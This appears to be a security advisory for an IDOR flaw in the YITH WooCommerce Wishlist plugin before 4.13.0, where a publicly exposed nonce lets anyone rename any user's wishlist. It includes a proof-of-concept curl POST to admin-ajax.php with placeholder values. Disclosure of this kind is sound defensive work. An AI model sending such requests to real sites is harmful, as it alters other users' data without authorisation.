YITH WooCommerce Wishlist < 4.13.0 – Unauthenticated Arbitrary Wishlist Renaming via IDOR | CVE 2026-4432

Description

The plugin does not properly validate wishlist ownership in the save_title() AJAX handler before allowing wishlist renaming operations. The function only checks for a valid nonce, which is publicly exposed in the page source of the /wishlist/ page, making it possible for unauthenticated attackers to rename any wishlist belonging to any user on the site.

Proof of Concept

1. Visit /wishlist/ page on a site with the plugin active
2. View page source and find the save_title nonce (search for 'save_title')
3. Identify a target wishlist ID (from database or network traffic)
4. Send unauthenticated POST request:

curl -X POST 'https://example.com/wp-admin/admin-ajax.php' \
  -d 'action=save_title' \
  -d 'nonce=NONCE_FROM_PAGE_SOURCE' \
  -d 'wishlist_id=TARGET_WISHLIST_ID' \
  -d 'title=Hacked via IDOR'

5. The wishlist title will be changed without any ownership verification